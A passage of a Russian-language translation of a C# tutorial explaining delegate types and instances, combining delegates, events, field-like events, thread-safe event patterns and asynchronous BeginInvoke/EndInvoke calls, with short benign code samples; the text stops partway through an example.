Люди часто испытывают затруднения в понимании различий между событиями и делегатами. И C# ещё больше запутывает ситуацию, так как позволяет объявлять field-like события, которые автоматически преобразуются в переменную делегата с таким же самым именем. Эта статья призвана прояснить данный вопрос. Ещё одним моментом является путаница с термином «делегат», который имеет несколько значений. Иногда его используют для обозначения *типа* делегата (delegate type), а иногда — для обозначения *экземпляра* делегата (delegate instance). Чтобы избежать путаницы, я буду явно использовать эти термины — тип делегата и экземпляр делегата, а когда буду использовать слово «делегат» — значит, я говорю о них в самом широком смысле.
### Типы делегатов
В каком-то смысле вы можете думать о типе делегата как о некоем интерфейсе, в котором определён лишь один метод с чётко заданной сигнатурой (в этой статье под сигнатурой метода я буду понимать все его входные и выходные (ref и out) параметры, а также возвращаемое значение). Тогда экземпляр делегата — это объект, реализующий этот интерфейс. В этом понимании, имея экземпляр делегата, вы можете вызвать любой существующий метод, сигнатура которого будет совпадать с сигнатурой метода, определённого в «интерфейсе». Делегаты обладают и другой функциональностью, но возможность делать вызовы методов с заранее определёнными сигнатурами — это и есть самая суть делегатов. Экземпляр делегата хранит ссылку (указатель, метку) на целевой метод и, если этот метод является экземплярным, то и ссылку на экземпляр объекта (класса или структуры), в котором «находится» целевой метод.
Тип делегата объявляется при помощи ключевого слова `delegate`. Типы делегатов могут существовать как самостоятельные сущности, так и быть объявленными внутри классов или структур. Например:
```
namespace DelegateArticle
{
public delegate string FirstDelegate (int x);
public class Sample
{
public delegate void SecondDelegate (char a, char b);
}
}
```
В этом примере объявлены два типа делегата. Первый — `DelegateArticle.FirstDelegate`, который объявлен на уровне пространства имён. Он «совместим» с любым методом, который имеет один параметр типа `int` и возвращает значение типа `string`. Второй — `DelegateArticle.Sample.SecondDelegate`, который объявлен уже внутри класса и является его членом. Он «совместим» с любым методом, который имеет два параметра типа `char` и не возвращает ничего, так как возвращаемый тип помечен как `void`.
Обратите внимание, что оба типа делегата имеют модификатор доступа `public`. Вообще, по отношению модификаторов доступа типы делегатов ведут себя так же, как классы и структуры. Если для типа делегата явно не указан модификатор доступа и этот тип объявлен внутри пространства имён, то он будет доступен для всех объектов, также находящихся внутри этого пространства имён. Если же тип делегата без модификатора объявлен внутри класса или структуры, то он будет закрытым, аналогично действию модификатора `private`.
При объявлении типа делегата нельзя использовать модификатор `static`.
Но помните, что ключевое слово `delegate` не всегда означает объявление типа делегата. Это же ключевое слово используется при создании экземпляров делегатов при использовании анонимных методов.
Оба типа делегата, объявленные в этом примере, наследуются от [`System.MulticastDelegate`](http://msdn.microsoft.com/en-us/library/system.multicastdelegate.aspx), который, в свою очередь, наследуется от [`System.Delegate`](http://msdn.microsoft.com/en-us/library/system.delegate.aspx). На практике учитывайте наследование только от `MulticastDelegate` — различие между `Delegate` и `MulticastDelegate` лежит прежде всего в историческом аспекте. Эти различия были существенны в бета-версиях .NET 1.0, но это было неудобно, и Microsoft решила объединить два типа в один. К сожалению, решение было сделано слишком поздно, и когда оно было сделано, делать такое серьёзное изменение, затрагивающее основу .NET, не решились. Поэтому считайте, что `Delegate` и `MulticastDelegate` — это одно и то же.
Каждый тип делегата, созданный вами, наследует члены от `MulticastDelegate`, а именно: один конструктор с параметрами `Object` и [`IntPtr`](http://msdn.microsoft.com/en-us/library/system.intptr.aspx), а также три метода: `Invoke`, `BeginInvoke` и `EndInvoke`. К конструктору мы вернёмся чуточку позже. Вообще-то эти три метода не наследуются в прямом смысле, так как их сигнатура для каждого типа делегата своя — она «подстраивается» под сигнатуру метода в объявленном типе делегата. Глядя на пример кода выше, выведем «наследуемые» методы для первого типа делегата `FirstDelegate`:
```
public string Invoke (int x);
public System.IAsyncResult BeginInvoke(int x, System.AsyncCallback callback, object state);
public string EndInvoke(IAsyncResult result);
```
Как вы видите, возвращаемый тип методов `Invoke` и `EndInvoke` совпадает с таковым, указанным в сигнатуре делегата, так же, как и параметр метода `Invoke` и первый параметр `BeginInvoke`. Мы рассмотрим цель метода `Invoke` далее в статье, а `BeginInvoke` и `EndInvoke` рассмотрим в разделе, описывающем [продвинутое использование делегатов](#other). Сейчас ещё рано об этом говорить, так как мы ещё даже не знаем, как создавать экземпляры делегатов. Вот об этом и поговорим в следующем разделе.
### Экземпляры делегатов: основы
Теперь мы знаем, как объявляется тип делегата и что он содержит, так что давайте взглянем, как можно создать экземпляр делегата, и что с ним можно сделать.
##### Создание экземпляров делегатов
Прежде всего замечу, что эта статья не рассказывает о новых функциональных возможностях C# 2.0 и 3.0, связанных с созданием экземпляров делегатов, так же, как и не покрывает обобщённые делегаты, появившиеся в C# 4.0. Моя отдельная статья о замыканиях «[The Beauty of Closures](http://csharpindepth.com/Articles/Chapter5/Closures.aspx)» повествует о новых возможностях делегатов, которые появились в C# 2.0 и 3.0; кроме того, много информации по этой теме содержится в главах 5, 9 и 13 моей книги «[C# in Depth](http://csharpindepth.com)». Я буду придерживаться явного стиля создания экземпляров делегатов, который появился в C# 1.0/1.1, так как полагаю, что такой стиль проще для понимания того, что происходит «под капотом». Вот когда вы постигнете основы, то можно будет приступать к освоению новых возможностей из C# 2.0, 3.0 и 4.0; и наоборот, без твёрдого понимания основ, изложенных в этой статье, «новый» функционал делегатов может быть для вас неподъёмным.
Как говорилось ранее, каждый экземпляр делегата обязательно содержит ссылку на целевой метод, который может быть вызван через этот экземпляр делегата, и ссылку на экземпляр объекта (класса или структуры), в котором объявлен целевой метод. Если целевой метод является статическим, то, естественно, ссылка на экземпляр отсутствует. CLR поддерживает и другие, немного различные формы делегатов, где первый аргумент, передаваемый в статический метод, хранится в экземпляре делегата, или же ссылка на целевой экземплярный метод передаётся как аргумент при вызове метода. Более подробно об этом можно прочитать в документации к [`System.Delegate`](http://msdn.microsoft.com/en-us/library/system.delegate.aspx) на MSDN, однако сейчас, на данном этапе, эти дополнительные сведения не существенны.
Итак, мы знаем, что для создания экземпляра нам нужны две «единицы» данных (ну и сам тип делегата, конечно), однако как дать знать об этом компилятору? Мы используем то, что в спецификации к C# называется «выражение создания делегата» (*delegate-creation-expression*), что является одной из форм *new delegate-type (expression)*. Выражение (expression) должно быть или другим делегатом с таким же самым типом (или с совместимым типом делегата в C# 2.0), или же «группой методов» (method group), которая состоит из названия метода и опциональной ссылки на экземпляр объекта. Группа методов указывается точно также, как и обычный вызов метода, но без каких-либо аргументов и круглых скобок. Необходимость в создании копий делегата возникает довольно редко, поэтому мы сосредоточимся на более общих формах. Примеры ниже.
```
/* Два выражения создания экземпляров делегатов d1 и d2 эквивалентны. Здесь InstanceMethod является экземплярным методом, который объявлен в классе, в котором также объявлены нижеприведённые выражения (базовый класс). Соответственно, ссылка на экземпляр объекта — this, и именно поэтому эти выражения эквивалентны. */
FirstDelegate d1 = new FirstDelegate(InstanceMethod);
FirstDelegate d2 = new FirstDelegate(this.InstanceMethod);
/* Здесь (d3) мы создаём экземпляр делегата, ссылающийся на тот же метод, что и в предыдущих двух выражениях, но на этот раз с другим экземпляром класса. */
FirstDelegate d3 = new FirstDelegate(anotherInstance.InstanceMethod);
/* В этом (d4) экземпляре делегата используется уже другой метод, тоже экземплярный, который объявлен в другом классе; мы указываем экземпляр этого класса и сам метод. */
FirstDelegate d4 = new FirstDelegate(instanceOfOtherClass.OtherInstanceMethod);
/* А вот этот (d5) экземпляр делегата использует статический метод, который расположен в том же классе, где и это выражение (базовом классе). */
FirstDelegate d5 = new FirstDelegate(StaticMethod);
/* Здесь (d6) экземпляр делегата использует другой статический метод, объявленный на этот раз в стороннем классе. */
FirstDelegate d6 = new FirstDelegate(OtherClass.OtherStaticMethod);
```
Конструктор делегата, о котором мы говорили ранее, имеет два параметра — ссылку на вызываемый метод типа `System.IntPtr` (в документации MSDN этот параметр называется method) и ссылку на экземпляр объекта типа `System.Object` (в документации MSDN этот параметр называется target), которая принимает значение null, если метод, указанный в параметре method, является статическим.
Необходимо сделать важное замечание: экземпляры делегатов могут ссылаться на методы и экземпляры объектов, которые будут невидимыми (вне области видимости) по отношению к тому месту в коде, где будет произведён *вызов* экземпляра делегата. Например, при создании экземпляра делегата может быть использован приватный (private) метод, а потом этот экземпляр делегата может быть возвращён из другого, публичного (public) метода или свойства. С другой стороны, экземпляр объекта, указанный при создании экземпляра делегата, может быть объектом, который при вызове будет неизвестным по отношению к тому объекту, в котором был совершен вызов. Важно то, что и метод, и экземпляр объекта должны быть доступны (находиться в области видимости) на момент *создания* экземпляра делегата. Другими словами, если (и только если) в коде вы можете создать экземпляр определённого объекта и вызвать определённый метод из этого экземпляра, то вы можете использовать этот метод и экземпляр объекта для создания экземпляра делегата. А вот во время вызова ранее созданного экземпляра делегата права доступа и область видимости игнорируются. Кстати, о вызовах…
##### Вызов экземпляров делегатов
Экземпляры делегатов вызываются таким же образом, как вызываются обычные методы. К примеру, вызов экземпляра делегата d1, тип которого определён в самом верху как `delegate string FirstDelegate (int x)`, будет следующим:
```
string result = d1(10);
```
Метод, ссылку на который хранит экземпляр делегата, вызывается «в рамках» (или «в контексте», если другими словами) экземпляра объекта, если такой есть, после чего возвращается результат. Написание полноценной программы, демонстрирующей работу делегатов, и при этом компактной, не содержащей «лишнего» кода, является непростой задачей. Тем не менее, ниже приведена подобная программа, содержащая один статический и один экземплярный метод. Вызов `DelegateTest.StaticMethod` эквивалентен вызову `StaticMethod` — я включил название класса, чтобы сделать пример более понимаемым.
```
using System;
public delegate string FirstDelegate (int x);
class DelegateTest
{
string name;
static void Main()
{
FirstDelegate d1 = new FirstDelegate(DelegateTest.StaticMethod);
DelegateTest instance = new DelegateTest();
instance.name = "My instance";
FirstDelegate d2 = new FirstDelegate(instance.InstanceMethod);
Console.WriteLine (d1(10)); // Выводит на консоль "Static method: 10"
Console.WriteLine (d2(5)); // Выводит на консоль "My instance: 5"
}
static string StaticMethod (int i)
{
return string.Format ("Static method: {0}", i);
}
string InstanceMethod (int i)
{
return string.Format ("{0}: {1}", name, i);
}
}
```
Синтаксис C# по вызову экземпляров делегатов является синтаксическим сахаром, маскирующим вызов метода `Invoke`, который есть у каждого типа делегата. Делегаты могут выполняться асинхронно, если предоставляют методы `BeginInvoke/EndInvoke`, но об этом [позже](#other).
##### Комбинирование делегатов
Делегаты могут комбинироваться (объединяться и вычитаться) таким образом, что когда вы вызываете один экземпляр делегата, то вызывается целый набор методов, причём эти методы могут быть из различных экземпляров различных классов. Когда я раньше говорил, что экземпляр делегата хранит ссылки на метод и на экземпляр объекта, я немного упрощал. Это справедливо для тех экземпляров делегатов, которые представляют один метод. Для ясности в дальнейшем я буду называть такие *экземпляры делегатов* «простыми делегатами» (simple delegate). В противовес им, существуют экземпляры делегатов, которые фактически являются списками простых делегатов, все из которых основываются на одном типе делегата (т.е. имеют одинаковую сигнатуру методов, на которые ссылаются). Такие *экземпляры делегатов* я буду называть «комбинированными делегатами» (combined delegate). Несколько комбинированных делегатов могут быть скомбинированы между собой, фактически становясь одним большим списком простых делегатов. Список простых делегатов в комбинированном делегате называется «списком вызовов» или «списком действий» (invocation list). Т.о., список вызовов — это список пар ссылок на методы и экземпляры объектов, которые (пары) расположены в порядке вызова.
Важно знать, что экземпляры делегатов всегда неизменяемы (immutable). Каждый раз при объединении экземпляров делегатов (а также при вычитании – это мы рассмотрим чуть ниже) создаётся новый комбинированный делегат. В точности, как и со строками: если вы применяете `String.PadLeft` к экземпляру строки, то метод не изменяет этот экземпляр, а возвращает новый экземпляр с проделанными изменениями.
Объединение (также встречается термин «сложение») двух экземпляров делегатов обычно производится при помощи оператора сложения, как если бы экземпляры делегатов были числами или строками. Аналогично, вычитание (также встречается термин «удаление») одного экземпляра делегата из другого производится при помощи оператора вычитания. Имейте ввиду, что при вычитании одного комбинированного делегата из другого вычитание производится в рамках списка вызовов. Если в оригинальном (уменьшаемом) списке вызовов нет не одного из тех простых делегатов, которые находятся в вычитаемом списке вызовов, то результатом операции (разностью) будет оригинальный список. В противном случае, если в оригинальном списке присутствуют простые делегаты, присутствующие и в вычитаемом, то в результирующем списке будут отсутствовать лишь *последние* вхождения простых делегатов. Впрочем, это легче показать на примерах, нежели описать на словах. Но вместо очередного исходного кода я продемонстрирую работу объединения и вычитания на примере нижеследующей таблицы. В ней литералами d1, d2, d3 обозначены простые делегаты. Далее, обозначение [d1, d2, d3] подразумевает комбинированный делегат, который состоит из трёх простых именно в таком порядке, т.е. при вызове сначала будет вызван d1, потом d2, а затем d3. Пустой список вызовов представлен значением null.
| Выражение | Результат |
| --- | --- |
| null + d1 | d1 |
| d1 + null | d1 |
| d1 + d2 | [d1, d2] |
| d1 + [d2, d3] | [d1, d2, d3] |
| [d1, d2] + [d2, d3] | [d1, d2, d2, d3] |
| [d1, d2] — d1 | d2 |
| [d1, d2] — d2 | d1 |
| [d1, d2, d1] — d1 | [d1, d2] |
| [d1, d2, d3] — [d1, d2] | d3 |
| [d1, d2, d3] — [d2, d1] | [d1, d2, d3] |
| [d1, d2, d3, d1, d2] — [d1, d2] | [d1, d2, d3] |
| [d1, d2] — [d1, d2] | null |
Кроме оператора сложения, экземпляры делегатов могут объединяться при помощи статического метода [`Delegate.Combine`](http://msdn.microsoft.com/en-us/library/system.delegate.combine.aspx); аналогично ему, операция вычитания имеет альтернативу в виде статического метода [`Delegate.Remove`](http://msdn.microsoft.com/en-us/library/system.delegate.remove.aspx). Вообще говоря, операторы сложения и вычитания — это своеобразный синтаксический сахар, и компилятор C#, встречая их в коде, заменяет на вызовы методов Combine и Remove. И именно потому, что данные методы являются статическими, они легко справляются с null-экземплярами делегатов.
Операторы сложения и вычитания всегда работают как часть операции присваивания `d1 += d2`, которая полностью эквивалента выражению `d1 = d1+d2`; то же самое для вычитания. Снова-таки, напоминаю, что экземпляры делегатов, участвующие в сложении и вычитании, не изменяются в процессе операции; в данном примере переменная d1 просто сменит ссылку на новосозданный комбинированный делегат, состоящий из «старого» d1 и d2.
Обратите внимание, что добавление и удаление делегатов происходит с конца списка, поэтому последовательность вызовов x += y; x -= y; эквивалентна пустой операции (переменная x будет содержать неизменный список подписчиков, *прим. перев.*).
Если сигнатура типа делегата объявлена такой, что возвращает значение (т.е. возвращаемое значение не является void) и «на основе» этого типа создан комбинированный экземпляр делегата, то при его вызове в переменную будет записано возвращаемое значение, «предоставленное» последним простым делегатом в списке вызовов комбинированного делегата.
Если есть комбинированный делегат (содержащий список вызовов, состоящий из множества простых делегатов), и при его вызове в каком-то простом делегате произойдёт исключение, то в этом месте вызов комбинированного делегата прекратится, исключение будет проброшено, и все остальные простые делегаты из списка вызовов так никогда и не будут вызваны.
### События
Перво-наперво: события (event) не являются экземплярами делегатов. А теперь снова:
**События — это НЕ экземпляры делегатов.**
В некотором смысле жаль, что язык C# позволяет использовать события и экземпляры делегатов в определённых ситуациях одинаковым образом, однако очень важно понимать разницу.
Я пришел к выводу, что самый лучший способ понять события, это думать о них как о «как бы» свойствах (properties). Свойства, хотя и выглядят «типа как» поля (fields), на самом деле ими определённо не являются — вы можете создать свойства, которые вообще никак не используют поля. Подобным образом ведут себя и события — хотя и выглядят как экземпляры делегатов в плане операций добавления и вычитания, но на самом деле не являются ими.
События являются парами методов, соответствующе «оформленные» в IL (CIL, MSIL) и связанные между собой так, чтобы языковая среда чётко знала, что она «имеет дело» не с «простыми» методами, а с методами, которые представляют события. Методы соответствуют операциям *добавления* (add) и *удаления* (remove), каждая из которых принимает один параметр с экземпляром делегата, который имеет тип, одинаковый с типом события. То, что вы будете делать с этими операциями, в значительной степени зависит от вас, но обычно операции добавления и удаления используются для добавления и удаления экземпляров делегатов в/из списка обработчиков события. Когда событие срабатывает (и не важно, что было причиной срабатывания — щелчок по кнопке, таймер или необработанное исключение), происходит поочерёдный (один за другим) вызов обработчиков. Знайте, что в C# вызов обработчиков события *не является* частью самого события.
Методы добавления и удаления вызываются в C# так `eventName += delegateInstance;` и так `eventName -= delegateInstance;`, где `eventName` может быть указано по ссылке на экземпляр объекта (например, `myForm.Click`) или по называнию типа (например, `MyClass.SomeEvent`). Впрочем, статические события встречаются довольно редко.
События сами по себе могут быть объявлены двумя способами. Первый способ — с явной (explicit) реализацией методов add и remove; этот способ очень похож на свойства с явно объявленными геттерами (get) и сеттерами (set), но с ключевым словом event. Ниже представлен пример свойства для типа делегата `System.EventHandler`. Обратите внимание, что в методах add и remove не происходит никаких операций с экземплярами делегатов, которые туда передаются — методы просто выводят в консоль сообщения о том, что они были вызваны. Если вы выполните этот код, то увидите, что метод remove будет вызван, невзирая на то, что мы ему передали для удаления значение null.
```
using System;
class Test
{
public event EventHandler MyEvent //публичное событие MyEvent с типом EventHandler
{
add
{
Console.WriteLine ("add operation");
}
remove
{
Console.WriteLine ("remove operation");
}
}
static void Main()
{
Test t = new Test();
t.MyEvent += new EventHandler (t.DoNothing);
t.MyEvent -= null;
}
//Метод-заглушка, сигнатура которого совпадает с сигнатурой типа делегата EventHandler
void DoNothing (object sender, EventArgs e)
{
}
}
```
Моменты, когда приходится игнорировать полученное значение `value`, возникают довольно редко. И хотя случаи, когда мы можем игнорировать передаваемое таким образом значение, крайне редки, бывают случаи, когда нам не подойдет использование простой переменной делегата для содержания подписчиков. Например, если класс содержит множество событий, но подписчики будут использовать лишь некоторый из них, мы можем создать ассоциативный массив, в качестве ключа которой будет использовать описание событие, а в качестве значения — делегат с его подписчиками. Именно эта техника используется в Windows Forms — т.е. класс может содержать огромное количество событий без напрасного использования памяти под переменные, которые в большинстве случаев будут равными null.
### Field-like события
C# обеспечивает простой способ объявления переменной делегата и события в один и тот же момент. Этот способ называется «field-like событием» (field-like event) и объявляется очень просто — так же, как и «длинная» форма объявления события (приведённая выше), но без «тела» с методами add и remove.
```
public event EventHandler MyEvent;
```
Эта форма создает переменную делегата и событие с одинаковым типом. Доступ к событию определяется в объявлении события с помощью модификатора доступа (т.о., в примере выше создаётся публичное событие), но переменная делегата всегда приватна. Неявное (implicit) тело события разворачивается компилятором во вполне очевидные операции добавления и удаления экземпляров делегата к/из переменной делегата, причём эти действия выполняются под блокировкой (lock). Для C# 1.1 событие `MyEvent` из примера выше эквивалентно следующему коду:
```
private EventHandler _myEvent;
public event EventHandler MyEvent
{
add
{
lock (this)
{
_myEvent += value;
}
}
remove
{
lock (this)
{
_myEvent -= value;
}
}
}
```
Это что касается экземплярных членов. Что касается статических событий, то переменная тоже является статической и блокировка захватывается на типе вида `typeof(XXX)`, где XXX — это имя класса, в котором объявлено статическое событие. Язык C# 2.0 не дает никаких гарантий по поводу того, что используется для захвата блокировок. Он говорит лишь о том, что для блокировки экземплярных событий используется единственный объект, связанный с текущим экземпляром, а для блокировки статических событий — единственный объект, связанный с текущим классом. (Обратите внимание, что это справедливо лишь для событий, объявленных в классах, но не в структурах. Существуют проблемы с блокировками событий в структурах; и на практике я не помню ни одного примера структуры, в которой было объявлено событие.) Но ничего из этого не является таким уж полезным, как вы могли бы подумать, подробности см. в [секции о многопоточности](#threadsafe).
Итак, что происходит, когда вы в коде ссылаетесь на `MyEvent`? Внутри тела самого типа (включая вложенные типы) компилятор генерирует код, который ссылается на переменную делегата (`_myEvent` в примере выше). Во всех остальных контекстах компилятор генерирует код, который ссылается на событие.
### Какой в этом смысл?
Теперь, когда мы знаем и о делегатах, и о событиях, возникает вполне закономерный вопрос: зачем в языке нужны и те, и другие? Ответ — из-за инкапсуляции. Предположим, что в некоем вымышленном C#/.NET событий не существует. Как тогда сторонний класс может подписаться на событие? Три варианта:
1. Публичная переменная (поле) с типом делегата.
2. Приватная переменная (поле) с типом делегата с оболочкой в виде публичного свойства.
3. Приватная переменная (поле) с типом делегата с публичными методами AddXXXHandler и RemoveXXXHandler.
Вариант №1 ужасен — мы, как правило, ненавидим публичные поля. Вариант №2 немного лучше, но позволяет подписчикам эффективно переопределять (override) один одного — будет слишком лёгким написать выражение `someInstance.MyEvent = eventHandler;`, в результате которого все существующие обработчики будут *заменены* на `eventHandler`, вместо того, чтобы *добавить* к существующим `eventHandler`. Плюс к этому, вам всё равно нужно явно прописывать код свойств.
Вариант №3 — это, собственно, то, что и предоставляют вам события, но с гарантированным соглашением (генерируемым компилятором и резервируемым специальными флагами в IL) и со «свободной» реализацией, если только вы будете счастливы от семантики field-like событий. Подписка и отписка к/от событий инкапсулируется без предоставления произвольного доступа к списку обработчиков события, благодаря чему удаётся упростить код для операций подписки и отписки.
### Потокобезопасные события
(Примечание: с выходом C# 4 этот раздел несколько устарел. От переводчика: подробнее см. раздел «[От переводчика](#fromtranslator)»)
Ранее мы коснулись блокировки (locking), которая происходит в field-like событиях во время операций add и remove, которые автоматически реализуются компилятором. Это делается ради предоставления некой гарантии потокобезопасности (thread safety). К сожалению, оно не столь уж и полезное. Прежде всего, даже в C# 2.0 спецификации позволяют установить блокировку на ссылку к this-объекту или на сам тип в статических событиях. Это противоречит принципам блокировки на приватных ссылках, что необходимо для недопущения взаимных блокировок (deadlock).
По иронии, вторая проблема является полной противоположностью первой — из-за того, что в C# 2.0 вы не можете гарантировать, какая блокировка будет использована, вы сами тоже не можете её использовать, когда вызываете событие, чтобы удостовериться, что вы видите самое новое (актуальное) значение в данном потоке. Вы можете применять блокировку на что-либо другое или воспользоваться специальными методами, работающими с барьерами памяти, но всё это оставляет неприятное послевкусие[1↓](#ref1).
Если вы хотите, чтобы ваш код был истинно потокобезопасным, таким, что когда вы вызываете событие, то всегда используете наиболее актуальное значение переменной делегата, а также таким, что вы можете убедиться, что операции add/remove не мешают одна другой, то для достижения такой «железобетонной» потокобезопасности вам необходимо писать тело операций add/remove самому. Пример ниже:
```
///
/// Переменная типа делегата SomeEventHandler, являющаяся «фундаментом» события.
///
SomeEventHandler someEvent;
///
/// Примитив блокировки для доступа к событию SomeEvent.
///
readonly object someEventLock = new object();
///
/// Само событие
///
public event SomeEventHandler SomeEvent
{
add
{
lock (someEventLock)
{
someEvent += value;
}
}
remove
{
lock (someEventLock)
{
someEvent -= value;
}
}
}
///
/// Вызов события SomeEvent
///
protected virtual void OnSomeEvent(EventArgs e)
{
SomeEventHandler handler;
lock (someEventLock)
{
handler = someEvent;
}
if (handler != null)
{
handler (this, e);
}
}
```
Вы можете использовать единую блокировку для всех ваших событий, и даже использовать эту блокировку для чего-либо ещё — это уже зависит от конкретной ситуации. Обратите внимание, что вам нужно «записать» текущее значение в локальную переменную *внутри* блокировки (для того, чтобы получить самое актуальное значение), а затем проверить это значение на null и выполнить *вне* блокировки: удерживание блокировки во время вызова события является очень плохой идеей, легко приводящей к взаимоблокировке. Чтобы объяснить это, представьте, что некий обработчик событий должен дождаться, пока другой поток выполнит какую-то свою работу, и если во время неё этот другой поток вызовет операцию add/remove для вашего события, то вы получите взаимоблокировку.
Вышеприведённый код работает корректно потому, что как только локальной переменной `handler` будет присвоено значение someEvent, то значение handler уже не изменится даже в том случае, если изменится сам `someEvent`. Если все обработчики событий отпишутся от события, то список вызовов будет пуст, `someEvent` станет null, но `handler` будет хранить своё значение, которое будет таким, каковым оно было на момент присвоения. На самом деле, экземпляры делегатов являются неизменяемыми (immutable), поэтому любые подписчики, подписавшиеся между присваиванием (`handler = someEvent`) и вызовом события (`handler (this, e);`), будут проигнорированы.
Кроме этого, нужно определить, нужна ли вам вообще потокобезопасность. Собираетесь ли вы добавлять и удалять обработчики событий из других потоков? Собираетесь ли вы вызывать события из разных потоков? Если вы полностью контролируете своё приложение, то очень правильным и легким в реализации ответом будет «нет». Если же вы пишете библиотеку классов, то, скорее всего, обеспечение потокопезопасности пригодится. Если же вам определённо не нужна потокобезопасность, то хорошей идеей будет самостоятельно реализовать тело операций add/remove, чтобы они явно не использовали блокировки; ведь, как мы помним, C# при автогенерации этих операций использует «свой» «неправильный» механизм блокировки. В этом случае ваша задача очень проста. Ниже — пример вышеприведённого кода, но без потокобезопасности.
```
///
/// Переменная типа делегата SomeEventHandler, являющаяся «фундаментом» события.
///
SomeEventHandler someEvent;
///
/// Само событие
///
public event SomeEventHandler SomeEvent
{
add
{
someEvent += value;
}
remove
{
someEvent -= value;
}
}
///
/// Вызов события SomeEvent
///
protected virtual void OnSomeEvent(EventArgs e)
{
if (someEvent != null)
{
someEvent (this, e);
}
}
```
Если на момент вызова метода `OnSomeEvent` переменная делегата `someEvent` не содержит списка экземпляров делегатов (вследствие того, что они не были добавлены через метод add или же были удалены через метод remove), то значение этой переменной будет null, и чтобы избежать её вызова с таким значением, и была добавлена проверка на null. Подобную ситуацию можно решить и другим путём. Можно создать экземпляр делегата-заглушку (no-op), который будет привязан к переменной «по умолчанию» и не будет удаляться. В этом случае в методе `OnSomeEvent` нужно просто получить и вызвать значение переменной делегата. Если «реальные» экземпляры делегатов так и не были добавлены, то будет просто-напросто вызвана заглушка.
### Экземпляры делегатов: другие методы
Ранее в статье я показал, что вызов `someDelegate(10)` — это просто сокращение для вызова `someDelegate.Invoke(10)`. Кроме `Invoke`, типы делегатов имеют и асинхронное поведение посредством пары методов `BeginInvoke`/`EndInvoke`. В CLI они являются опциональными, но в C# они всегда есть. Они придерживаются той же модели асинхронного выполнения, что и остальная часть .NET, позволяя указывать обработчик обратного вызова (callback handler) вместе с объектом, хранящим информацию о состоянии. В результате асинхронного вызова код выполняется в потоках, созданных системой и находящихся в пуле потоков (thread-pool) .NET.
В первом примере, представленном ниже[2↓](#ref2), нет обратных вызовов, здесь просто используются `BeginInvoke` и `EndInvoke` в одном потоке. Такой шаблон кода иногда полезен, когда один поток используется для синхронных в целом операций, но вместе с тем содержит элементы, которые могут быть выполнены параллельно. Ради простоты кода все методы в примере статические, но вы, конечно же, можете использовать «асинхронные» делегаты вместе с экземплярными методы, и на практике это будет происходить даже чаще. Метод `EndInvoke` возвращает то значение, которое возвращается в результате вызова экземпляра делегата. Если во время вызова экземпляра делегата возникнет исключение, то это исключение выбросит и `EndInvoke`.
```
using System;
using System.Threading;
delegate int SampleDelegate(string data);
class AsyncDelegateExample1
{
static void Main()
{
SampleDelegate counter = new SampleDelegate(CountCharacters);
SampleDelegate parser = new SampleDelegate(Parse);
IAsyncResult counterResult = counter.BeginInvoke("hello", null, null);
IAsyncResult parserResult = parser.BeginInvoke("10", null, null);
Console.WriteLine("Основной поток с ID = {0} продолжает выполняться",
Thread.CurrentThread.ManagedThreadId);
Console.WriteLine("Счётчик вернул '{0}'", counter.EndInvoke(counterResult));
Console.WriteLine("Парсер вернул '{0}'", parser.EndInvoke(parserResult));
Console.WriteLine("Основной поток с ID = {0} завершился",
Thread.CurrentThread.ManagedThreadId);
}
static int CountCharacters(string text)
{
Thread.Sleep(2000);
Console.WriteLine("Подсчёт символов в строке '{0}' в потоке с ID = {1}",
text, Thread.CurrentThread.ManagedThreadId);
return text.Length;
}
static int Parse(string text)
{
Thread.Sleep(100);
Console.WriteLine("Парсинг строки '{0}' в потоке с ID = {1}",
text, Thread.CurrentThread.ManagedThreadId);
return int.Parse(text);
}
}
```
Вызовы метода `Thread.Sleep` вставлены только ради того, чтобы продемонстрировать, что методы `CountCharacters` и `Parse` действительно выполняются параллельно с основным потоком. Сон в `CountCharacters` в 2 секунды достаточно большой для того, чтобы принудить пул потоков выполнить задачи в других потоках — пул потоков сериализует запросы, которые не требуют много времени для выполнения, чтобы таким образом избежать чрезмерного создания новых потоков (создание новых потоков является относительно ресурсоёмкой операцией). «Усыпляя» поток на долгое время, мы таким образом имитируем «тяжелую», требующую много времени на выполнение задачу. А вот и вывод нашей программы:
```
Основной поток с ID = 9 продолжает выполняться
Парсинг строки '10' в потоке с ID = 10
Подсчёт символов в строке 'hello' в потоке с ID = 6
Счётчик вернул '5'
Парсер вернул '10'
Основной поток с ID = 9 завершился
```
Если процесс выполнения делегата в стороннем потоке ещё не завершился, то вызов метода `EndInvoke` в основном потоке будет иметь схожий эффект с вызовом `Thread.Join` для вручную создаваемых потоков — основной поток будет ждать, пока завершится задача в стороннем потоке. Значение `IAsyncResult`, которое возвращается методом `BeginInvoke` и передаётся на вход `EndInvoke`, может использоваться для передачи состояния из `BeginInvoke` (через последний параметр — `Object state`), однако необходимость в такой передаче при использовании делегатов возникает не часто.
Программный код, приведённый выше, довольно прост, но недостаточно эффективный в сравнении с моделью обратных вызовов (callback model), вызываемых после окончания выполнения делегата. Как правило, именно в методе обратного вызова (callback) происходит вызов метода `EndInvoke`, возвращающего результат выполнения делегата. Хотя чисто теоретически этот вызов всё так же блокирует основной поток (как в вышеприведённом примере), но на практике блокировки потока не произойдёт, так как метод обратного вызова выполняется лишь тогда, когда делегат выполнил свою задачу. Метод обратного вызова может использовать состояние с некими дополнительными данными, которое будет передано ему из метода `BeginInvoke`. Пример ниже использует те же самые делегаты для парсинга и подсчёта количества символов в строке, что и в примере выше, но на сей раз с методом обратного вызова, в котором результат выводится на консоль. Параметр `state` типа `Object` используется для передачи информации о том, в каком формате выводить результат на консоль, и благодаря этому мы можем использовать один метод обратного вызова `DisplayResult` для обработки обоих асинхронных вызовов делегатов. Обратите внимание на приведение типа `IAsyncResult` к типу `AsyncResult`: значение, принимаемое методом обратного вызова, всегда является экземпляром `AsyncResult`, и через него мы можем получить оригинальный экземпляр делегата, результат из которого получим, используя `EndInvoke`. Здесь немного странным является то, что тип `AsyncResult` объявлен в пространстве имён `System.Runtime.Remoting.Messaging` (которое вам надо подключить), тогда как все остальные типы объявлены в `System` или `System.Threading`.
```
using System;
using System.Threading;
using System.Runtime.Remoting.Messaging;
delegate int SampleDelegate(string data);
class AsyncDelegateExample2
{
static void Main()
{
SampleDelegate counter = new SampleDelegate(CountCharacters);
SampleDelegate parser = new SampleDelegate(Parse);
AsyncCallback callback = new AsyncCallback(DisplayResult);
counter.BeginInvoke("hello", callback, "Счётчик вернул '{0}' в потоке с ID = {1}");
parser.BeginInvoke("10", callback, "Парсер вернул '{0}' в потоке с ID = {1}");
Console.WriteLine("Основной поток с ID = {0} продолжает выполняться",
Thread.CurrentThread.ManagedThreadId);
